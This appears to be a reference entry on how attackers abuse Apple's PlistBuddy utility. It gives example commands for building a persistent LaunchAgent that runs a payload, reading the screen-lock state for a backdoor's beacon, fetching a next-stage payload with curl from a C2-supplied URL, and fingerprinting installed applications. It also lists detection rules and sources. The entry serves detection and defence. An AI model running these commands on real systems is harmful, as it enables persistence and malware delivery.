PlistBuddy
PlistBuddy is an Apple-supplied utility for reading and modifying property lists. It is normally driven interactively, but the -c switch executes a single Add, Set, Print, Delete, Copy, Merge, Import or Clear command and exits, which makes it scriptable. Entries are addressed by colon-delimited key paths with zero-based array indices, so a caller can construct or read an arbitrarily nested plist without ever handling a complete plist file. That is what makes it useful to an attacker. A LaunchAgent can be assembled key by key in place instead of being copied in from a download, a downloaded configuration blob can be queried for a single value, and live system state piped in on /dev/stdin can be parsed without writing a temporary file. PlistBuddy has been observed in Silver Sparrow, UpdateAgent and the DPRK-attributed SILENCELIFT backdoor.
Paths
/usr/libexec/PlistBuddy Example Use Cases
Build a LaunchAgent or LaunchDaemon key by key for persistence #
PlistBuddy creates the target file when it is missing, so a series of Add commands assembles a launchd job in place. Nothing is copied from a disk image or archive, so the plist carries no com.apple.quarantine attribute. Red Canary saw this in Silver Sparrow's installer and Microsoft reported UpdateAgent doing the same. Writing to ~/Library/LaunchAgents needs only the current user; the /Library paths require root.
/usr/libexec/PlistBuddy -c "Add :Label string <LABEL>" ~/Library/LaunchAgents/<LABEL>.plist
/usr/libexec/PlistBuddy -c "Add :RunAtLoad bool true" ~/Library/LaunchAgents/<LABEL>.plist
/usr/libexec/PlistBuddy -c "Add :StartInterval integer 3600" ~/Library/LaunchAgents/<LABEL>.plist
/usr/libexec/PlistBuddy -c "Add :ProgramArguments array" ~/Library/LaunchAgents/<LABEL>.plist
/usr/libexec/PlistBuddy -c "Add :ProgramArguments:0 string /bin/sh" ~/Library/LaunchAgents/<LABEL>.plist
/usr/libexec/PlistBuddy -c "Add :ProgramArguments:1 string -c" ~/Library/LaunchAgents/<LABEL>.plist
/usr/libexec/PlistBuddy -c "Add :ProgramArguments:2 string <PAYLOAD_PATH>" ~/Library/LaunchAgents/<LABEL>.plist Parse live I/O Kit registry output from stdin to read screen lock state #
PlistBuddy accepts /dev/stdin as its file argument, so a plist produced by another command can be queried without touching disk. Google Threat Intelligence Group's UNC1069 report records the SILENCELIFT backdoor using this to read :IOConsoleUsers:0:CGSSessionScreenIsLocked from ioreg output and beacon the lock state to C2. The key is absent when the screen is unlocked, so PlistBuddy exits non-zero and the error is discarded. No privileges required.
/usr/libexec/PlistBuddy -c "print :IOConsoleUsers:0:CGSSessionScreenIsLocked" /dev/stdin 2>/dev/null <<< "$(ioreg -n Root -d1 -a)" Read a downloadUrl key with PlistBuddy and fetch the next stage #
Silver Sparrow fetched a JSON config from its C2 and converted it to a plist (with plutil) so PlistBuddy could query it instead of an attacker-authored parser. Print pulls the next-stage URL from :downloadUrl, which is substituted into a curl command for the next stage. Reading properties from a signed Apple binary's output keeps the parsing logic off the host. No privileges required.
curl "$(/usr/libexec/PlistBuddy -c "Print :downloadUrl" /tmp/version.plist)" --output /tmp/<STAGE_TWO> Read an installed application's version from its Info.plist #
Every application bundle carries an Info.plist with version strings. Reading CFBundleShortVersionString reports the user-facing version, while CFBundleVersion reports the internal build number. An attacker can fingerprint installed security tooling or other target applications without privileges or a TCC grant.
/usr/libexec/PlistBuddy -c "Print :CFBundleShortVersionString" /Applications/<APP>.app/Contents/Info.plist Detections
- Sigma: Potential Persistence Via PlistBuddy - PlistBuddy command lines containing RunAtLoad, true and a LaunchAgents or LaunchDaemons path
- Sigma: Suspicious Execution via macOS Script Editor - flags PlistBuddy spawned as a child of Script Editor
- Elastic: Launch Service Creation and Immediate Loading - correlates a launch agent file write with a launchctl load or bootstrap within 30 seconds, which catches the PlistBuddy build-then-load sequence
Resources
- Clipping Silver Sparrow's wings: Outing macOS malware before it takes flight
- The evolution of a Mac trojan: UpdateAgent's progression
- Persistent Credential Theft with Authorization Plugins
- UNC1069 Targets Cryptocurrency Sector with New Tooling and AI-Enabled Social Engineering
- Silver Sparrow: A new macOS malware
- Atomic Red Team T1518 - Software Discovery
- MITRE ATT&CK T1543.001 - Create or Modify System Process: Launch Agent
- PlistBuddy(8) manual page
Acknowledgements
- Tony Lambert and Red Canary (Silver Sparrow analysis and the PlistBuddy LaunchAgent sequence)
- Chris Ross (@xorrior) (authorization plugin credential theft technique)
- Google Threat Intelligence Group (SILENCELIFT / UNC1069 analysis)